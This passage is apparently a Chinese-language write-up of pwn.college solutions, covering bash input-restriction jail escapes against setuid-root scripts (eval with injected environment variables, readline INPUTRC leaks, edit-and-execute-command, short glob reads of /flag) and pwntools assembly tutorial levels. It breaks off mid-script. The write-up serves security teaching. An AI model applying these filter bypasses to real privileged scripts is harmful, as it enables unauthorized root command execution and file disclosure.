__=$((___+___+...)) 利用 8 个 1 相加,造出数字 8。

${____:$#:$__} 用 ${var:0:8} 语法从 /dev/fd/63 提取出 /dev/fd/。

...$# 在末尾拼上代表 0 的 $#,合成 /dev/fd/0。

$(<...) 读取 stdin 里的 cat /flag 并将其作为命令执行

当你运行一个程序(也就是启动一个 process)时,kernel 会给这个进程分配一个专门的“文件追踪表”。表里的每一个编号,就叫 file descriptor (FD)

  • 0:永远是 standard input (stdin,通常是你的键盘或上游管道)。
  • 1:永远是 standard output (stdout,通常是你的屏幕)。
  • 2:永远是 standard error (stderr,报错信息)。

/dev/fd/ 是一个由 kernel 动态维护的 virtual filesystem(虚拟文件系统),它通常只是一个指向 /proc/self/fd/ 的 symlink(符号链接)。如果你去 ls /dev/fd/,你看到的其实是你当前正在运行的这个进程所打开的所有文件描述符。

当你输入 <(:) 也就是使用 Bash 的 process substitution(进程替换)时

  1. Bash 向 kernel 申请创建一个在内存里的匿名 pipe(管道)。
  2. Bash 把子进程 : 的 stdout 接到这个管道的写入端。
  3. Bash 把管道的读取端作为一个 file descriptor 打开。
  4. 为了防止和程序员平时自己打开的低编号文件(比如 3, 4, 5)发生冲突,Bash 底层源码里有一个逻辑:尽可能挑选一个靠后的、空闲的高位数字。在大多数现代 Linux 环境中,系统允许单个进程打开的最大文件数通常很大,但 Bash 为了安全兼容,经常默认分配 63 这个编号给 process substitution 使用(有时也会是 62,取决于具体的系统环境和并发状况)。

执行 ____=<(:) 时,Bash 把上面的步骤做完后,会将 /dev/fd/63 直接返回,并赋值给变量 ____

btw 变量名只允许大小写字母(a-z, A-Z)、数字(0-9)和下划线(_)

Your Misplaced Memories

When restrictions rule your thoughts, you might find the flag in a misplaced memory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@input-restrictions~your-misplaced-memories:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# This neat trick was generously contributed by WilyWizard!

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
# i can only use [ - ~ ]
read INPUT < <(head -n1 | tr -cd "[\-~]")
eval "$INPUT"
}

doit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# cd 切换目录时,Bash 会自动更新一个环境变量 $OLDPWD,记录 cd 之前所在的路径。
# 目录展开符 ~- 会被直接替换为 $OLDPWD 的值。恰好 ~ 和 - 都在白名单字符里

ubuntu@input-restrictions~your-misplaced-memories:~$ mkdir -p /tmp/arch_btw
ubuntu@input-restrictions~your-misplaced-memories:~$ cd /tmp/arch_btw
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ echo '#!/usr/bin/cat /flag' > /tmp/payload
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ chmod +x /tmp/payload
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ (sleep 5 && rm -rf /tmp/arch_btw && mv /tmp/payload /tmp/arch_btw) &
[1] 314
ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ /challenge/run
~-
pwn.college{********************************************}
#!/usr/bin/cat /flag
[1]+ Done ( sleep 5 && rm -rf /tmp/arch_btw && mv /tmp/payload /tmp/arch_btw )

Exclamations of Execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
ubuntu@input-restrictions~exclamations-of-execution:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@input-restrictions~exclamations-of-execution:~$ cat /challenge/run-actual
#!/bin/bash -p

# This neat trick was generously contributed by armax00

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

doit() {
echo -n ""
read INPUT < <(head -c5 | tr -d "[A-Za-z0-9./~\-]")
eval "$INPUT"
}

doit
1
2
ubuntu@input-restrictions~exclamations-of-execution:~$ echo '$__' | __="/bin/cat /flag" /challenge/run
pwn.college{********************************************}
  1. __="/bin/cat /flag":定义了一个名为 __ 的环境变量,由于当前命令执行环境继承,这个变量会进入 root 权限的 bash 脚本中。
  2. echo '$__':向管道输出了 $__\n( 4 个字节)。
  3. tr 试图过滤,但由于字符串里全是非字母数字的符号,$__ 被原封不动地保留并赋值给 INPUT
  4. eval "$INPUT" 被执行,实际上就是执行 eval "$__"
  5. Bash 展开变量 __,命令变为 /bin/cat /flag 并以 root 权限运行

Sensing of Secrets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@input-restrictions~sensing-of-secrets:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# thanks to amateurhour for the suggestion of this trick

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n $\-/A-Za-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@input-restrictions~sensing-of-secrets:~$ /challenge/run /tmp/tmp
/flag
readline: /flag: line 1: pwn.college{********************************************}: no key sequence terminator
^C
ubuntu@input-restrictions~sensing-of-secrets:~$ cat /tmp/tmp
read INPUTRC #spacehere
read -e # spacehere

# 使用 read -e 命令时,Bash 会调用底层的 Readline 库来获取用户的输入(这会提供类似命令补全、历史记录查找等高级功能)。而 Readline 在首次被调用初始化时,它会去读取自己的配置文件。

# 这个配置文件的路径由环境变量 INPUTRC 决定

# 如果把 INPUTRC 的值设为 /flag,Readline 在初始化时就会解析 /flag 文件的内容。由于 Flag 的内容不是合法的 Readline 配置语法,解析器会崩溃并在标准错误流 (stderr) 里把这行无法解析的内容作为报错信息打印出来

A String of Secrecy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@input-restrictions~a-string-of-secrecy:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# thanks to amateurhour for the suggestion of this trick as well!
#
PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n $\-/a-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
10
# vim in /tmp/tmp
read a
read $a
read -e

ubuntu@input-restrictions~a-string-of-secrecy:~$ /challenge/run /tmp/tmp
INPUTRC
/flag
readline: /flag: line 1: pwn.college{********************************************}: no key sequence terminator
^C

The Secret, Commanded

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@input-restrictions~the-secret-commanded:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n \-/a-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
ubuntu@input-restrictions~the-secret-commanded:~$ echo "read -e" > /tmp/payload
ubuntu@input-restrictions~the-secret-commanded:~$ /challenge/run /tmp/payload
cat /flag
10
wq
10
cat /flag
pwn.college{********************************************}
wq

Bash 的 Readline 默认键绑定(Emacs 模式)中,藏着一个内部函数:

edit-and-execute-command (这也正是题目 "Commanded" 的双关语由来)。

当你在终端输入了一半的命令,突然觉得太长太复杂,你可以按下特定的快捷键。Bash 会立刻把你当前敲击的内容保存到一个临时文件中,并用系统默认的编辑器(vi、nano 或 emacs, in this dojo we use ed)打开它。当你保存并退出编辑器时,Bash 会直接以当前 Shell 的权限执行文件里的命令

因为整个外部包装器 (exec-suid) 是以 root 权限运行的,所以这个 Readline 调起的执行操作,同样拥有 root 权限。

1
/challenge/run /tmp/payload
  1. 程序会静默挂起(此时它正在以 root 权限执行 read -e,等待输入)。
  2. 在键盘上敲下拿 flag 的命令:cat /flag (注意别按回车)
  3. 接下来 先按 Ctrl+X,然后按 Ctrl+E
  4. 系统会拉起 ed
  5. 输入 wq,按回车。
  6. Bash 会接管这段文本,在 root 上下文中执行 cat /flag

The Stumble From Safety

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@input-restrictions~the-stumble-from-safety:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cp "$1" "$WORKDIR/dangerous-script.sh"
cd $WORKDIR

doit() {
echo -n ""
cat dangerous-script.sh | tr -cd "[\n \-/0-9a-z]" | grep -E "^(echo|read) " > safe-script.sh
bash safe-script.sh
}

doit
1
2
3
4
5
6
7
8
9
echo "read -e" > /tmp/payload
ubuntu@input-restrictions~the-stumble-from-safety:~$ /challenge/run /tmp/payload
cat /flag
10
wq
10
cat /flag
pwn.college{********************************************}
^C

Precision of Parameters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ubuntu@input-restrictions~precision-of-parameters:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD # thanks, WilyWizard

cp /flag $WORKDIR
read -r INPUT
[ "${#INPUT}" -gt 5 ] && exit 2
sh -c "$INPUT" < /dev/null
1
2
3
4
5
6
7
8
9
ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run
cat *
pwn.college{********************************************}
ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run
tac *
pwn.college{********************************************}
ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run
nl *
1 pwn.college{********************************************}

Brevity's Enigma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@input-restrictions~brevitys-enigma:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD

cp /flag .

while [ "$INPUT" != "exit" ]
do
read -r INPUT
[ "${#INPUT}" -gt 4 ] && exit 2
sh -c "$INPUT" < /dev/null 2>/dev/null
done
1
2
3
ubuntu@input-restrictions~brevitys-enigma:~$ /challenge/run
nl *
1 pwn.college{********************************************}

Essense of Economy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ubuntu@input-restrictions~essense-of-economy:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD

while [ "$INPUT" != "exit" ]
do
read -r INPUT
[ "${#INPUT}" -gt 5 ] && exit 2
sh -c "$INPUT" < /dev/null 2>/dev/null
done
1
2
3
ubuntu@input-restrictions~essense-of-economy:~$ /challenge/run
nl /*
1 pwn.college{********************************************}

Mirage of Minimalism

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ubuntu@input-restrictions~mirage-of-minimalism:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

# Inspired by Orange Tsai

PATH=/usr/bin

WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1
cd $WORKDIR

# some cleanup
HOME=$WORKDIR
unset OLDPWD

while [ "$INPUT" != "exit" ]
do
read -r INPUT
[ "${#INPUT}" -gt 4 ] && exit 2
sh -c "$INPUT" < /dev/null 2>/dev/null
done
1
2
3
4
5
ubuntu@input-restrictions~mirage-of-minimalism:~$ /challenge/run
>cat
* /*
pwn.college{********************************************}
^C

Level 0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level0.0"
p = process(challenge_path)

payload = b"pokemon\n"
# Send the payload after the string ":)\n###\n" is found.
p.sendafter(":)\n###\n", payload)

# Receive flag from the process
flag = p.recvline()
print(f"flag is: {flag}")
1
2
3
4
5
6
hacker@pwntools~level-0-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level0.0': pid 218
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Process '/challenge/pwntools-tutorials-level0.0' stopped with exit code 0 (pid 218)
flag is: b'pwn.college{**********************************************}\n'

Level 1.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void print_flag()
{
char *p;
FILE *fp;
char flag[100];

fp = fopen("/flag", "r");

if (!fp) {
perror("[-] fopen failed");
}

p = fgets(flag, sizeof(flag), fp);
if (!p) {
perror("[-] fgets failed");
fclose(fp);
}

printf("%s", flag);

fclose(fp);
}

int bypass_me(char *buf)
{
unsigned int magic = 0xdeadbeef;

if (!strncmp(buf, (char *)&magic, 4)) {
return 1;
}

return 0;
}

int main()
{
char buffer[100];

print_desc();

fgets(buffer, sizeof(buffer), stdin);

if (bypass_me(buffer)) {
print_flag();
} else {
printf("You need to bypass some conditions to get the flag: \n");
printf("Please refer to the source code to understand these conditions\n");
}

print_exit();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level1.0"
p = process(challenge_path)

payload = p32(0xdeadbeef)
# Send the payload after the string ":)\n###\n" is found.
p.sendlineafter(":)\n###\n", payload)

# Receive flag from the process
flag = p.recvline()
print(f"flag is: {flag}")
1
2
3
4
5
6
hacker@pwntools~level-1-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level1.0': pid 200
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Process '/challenge/pwntools-tutorials-level1.0' stopped with exit code 0 (pid 200)
flag is: b'pwn.college{**********************************************}\n'

Level 1.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int bypass_me(char *buf)
{
int flag = 1;
int num;

// b'p' + 0x15 + 123456789 + 'Bypass Me:)'
if (buf[0] != 'p' || buf[1] != 0x15) {
flag = 0;
goto out;
}

memcpy(&num, buf + 2, 4);
if (num != 123456789) {
flag = 0;
goto out;
}

if (strncmp(buf + 6, "Bypass Me:)", 11)) {
flag = 0;
goto out;
}

out:
return flag;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level1.1"
p = process(challenge_path)

# b'p' + 0x15 + 123456789 + 'Bypass Me:)'
payload = b"p" + p8(0x15) + p32(123456789) + b"Bypass Me:)"
# Send the payload after the string ":)\n###\n" is found.
p.sendlineafter(":)\n###\n", payload)

# Receive flag from the process
flag = p.recvline()
print(f"flag is: {flag}")
1
flag is: b'pwn.college{**********************************************}\n'

Level 2.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.0"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
p.sendafter("Please give me your assembly in bytes", asm("mov rax, 0x12345678"))

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
^Chacker@pwntools~level-2-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level2.0': pid 194
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: mov rax, 0x12345678
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.0' stopped with exit code 0 (pid 194)

Level 2.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class ASMChallenge(ASMBase):
"""
Exchange the value of registers
"""

name = "pwntools-tutorials-level2.1"
init_rax = random.randint(0, 0x100000000)
init_rbx = random.randint(0, 0x100000000)
init_memory = {}

# users can write multiple instructions to archive this goal
# whitelist = ["xchg"]

@property
def description(self):
return f"""
In this level you need to craft assembly code to satisfy the following conditions:
* exchange the value of rax and rbx
"""

def trace(self):
self.start()
return (self.rax == self.init_rbx and self.rbx == self.init_rax)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.1"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
p.sendafter("Please give me your assembly in bytes", asm("xchg rax, rbx"))

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
    main()hacker@pwntools~level-2-1:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level2.1': pid 198
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: xchg rbx, rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.1' stopped with exit code 0 (pid 198)

Level 2.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class ASMChallenge(ASMBase):
"""
Exchange the value of registers
"""

name = "pwntools-tutorials-level2.2"
init_rdx = 0
init_rax = random.randint(0, 0x100000000)
init_rbx = random.randint(0, 0x100000000)
init_rcx = random.randint(0, 0x100000000)
init_rsi = random.randint(0, 0x100000000)
init_memory = {}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* rax = rax % rbx + rcx - rsi

We already set the following in preparation for your code:
rdx = 0
"""

def trace(self):
self.start()
return (self.rax == self.init_rax % self.init_rbx + self.init_rcx - self.init_rsi)

在 x86 架构中,取模(modulo)运算并没有独立的指令,而是和除法指令 div 绑定在一起的。当你执行无符号除法 div rbx 时,CPU 底层是这么运作的:

  1. 它会将 rdxrax 拼接成一个 128-bit 的大整数(即 rdx:rax)作为被除数。
  2. 它拿这个被除数去排着除以你的操作数 rbx
  3. 关键点来了:计算完成后,商 (Quotient) 会被存放在 rax 中,而我们最需要的余数 (Remainder/Modulo) 会被存放在 rdx 中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.2"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
p.sendafter(
"Please give me your assembly in bytes",
asm("""
xor rdx, rdx
div rbx
mov rax, rdx
add rax, rcx
sub rax, rsi
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: xor rdx, rdx
[+] 0x400003: div rbx
[+] 0x400006: mov rax, rdx
[+] 0x400009: add rax, rcx
[+] 0x40000c: sub rax, rsi
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.2' stopped with exit code 0 (pid 231)

Level 2.3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class ASMChallenge(ASMBase):
"""
Copy memory value
"""

name = "pwntools-tutorials-level2.3"
value = random.randint(0, 0x100000)

@property
def init_memory(self):
return {self.DATA_ADDR: self.value.to_bytes(8, "little")}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000
"""

def trace(self):
self.start()
return all(
(
self[self.DATA_ADDR + 0x1000 : self.DATA_ADDR + 0x1000 + 8] == self.value.to_bytes(8, "little"),
self[self.DATA_ADDR : self.DATA_ADDR + 8] == self.value.to_bytes(8, "little"),
)
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.3"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
# In this level you need to craft assembly code to complete the following operations:
# * copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000

p.sendafter(
"Please give me your assembly in bytes",
asm("""
mov rax, qword ptr [0x404000]
mov qword ptr [0x405000], rax
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: mov rax, qword ptr [0x404000]
[+] 0x400008: mov qword ptr [0x405000], rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.3' stopped with exit code 0 (pid 205)

Level 2.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class ASMChallenge(ASMBase):
"""
Manipulate stack region
"""

name = "pwntools-tutorials-level2.4"

init_rbx = random.randint(0x1000, 0x10000)
init_rsp = ASMBase.RSP_INIT - 0x8
mem_rsp = random.randint(0x10000, 0x20000)

@property
def init_memory(self):
return {self.init_rsp: self.mem_rsp.to_bytes(8, "little")}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* the top value of the stack = the top value of the stack - rbx

Tips: perfer push and pop instructions, other than directly [esp] dereference
"""

def trace(self):
self.start()
return self[self.init_rsp : self.init_rsp + 8] == (
self.mem_rsp - self.init_rbx
).to_bytes(8, "little")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.4"
p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
# In this level you need to craft assembly code to complete the following operations:
# * the top value of the stack = the top value of the stack - rbx
# Tips: perfer push and pop instructions, other than directly [esp] dereference

p.sendafter(
"Please give me your assembly in bytes",
asm("""
pop rax
sub rax, rbx
push rax
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: pop rax
[+] 0x400001: sub rax, rbx
[+] 0x400004: push rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.4' stopped with exit code 0 (pid 205)

Level 2.5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class ASMChallenge(ASMBase):
"""
Manipulate stack region
"""

name = "pwntools-tutorials-level2.5"

init_rsp = ASMBase.RSP_INIT - 0x8
mem_rsp = random.randint(0x7000000000000000, 0xFFFFFFFFFFFFFFFF)

@property
def init_memory(self):
return {self.init_rsp: self.mem_rsp.to_bytes(8, "little")}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* the top value of the stack = abs(the top value of the stack)
"""

def trace(self):
self.start()
return self[self.init_rsp : self.init_rsp + 8] == (
self.mem_rsp if self.mem_rsp < 0x8000000000000000 else 2**64 - self.mem_rsp
).to_bytes(8, "little")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.5"

p = process(challenge_path)

# In this level you need to craft assembly code to complete the following operations:
# * the top value of the stack = abs(the top value of the stack)

p.sendafter(
"Please give me your assembly in bytes",
asm("""
pop rax
neg rax
push rax
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: pop rax
[+] 0x400001: neg rax
[+] 0x400004: push rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.5' stopped with exit code 0 (pid 205)

Level 2.6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class ASMChallenge(ASMBase):
"""
Manipulate stack region
"""

name = "pwntools-tutorials-level2.6"

init_rcx = random.randint(0x10000, 0x20000)
init_memory = {}

@property
def description(self):
return f"""
In this level you need to craft for statement to complete the following operations:
* rax = the sum from 1 to rcx
"""

def trace(self):
self.start()
return self.rax == sum(range(self.init_rcx+1))

初学者肯定会想到写个循环:把 rax 清零,然后每次把 rcx 加进 rax,再 dec rcx,接着用 jnz 跳转回去。

回想一下等差数列求和

\[Sum = \frac{rcx \times (rcx + 1)}{2}\]

利用 mul 乘法指令和 shr 位移指令 只需要 \(O(1)\) 的时间复杂度

这个优化的前提是 rcx 里的数值不会大到让相乘的结果溢出 64-bit 寄存器 rax 并跑进 rdx 里。

如果开发中遇到这种溢出,我们还要加上 shrd rax, rdx, 1 来处理双精度位移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.6"

p = process(challenge_path)

# In this level you need to craft assembly code to complete the following operations:
# * rax = the sum from 1 to rcx

# 1. 准备计算 (rcx + 1),我们先把 rcx 复制到 rax
# 2. rax = rcx + 1
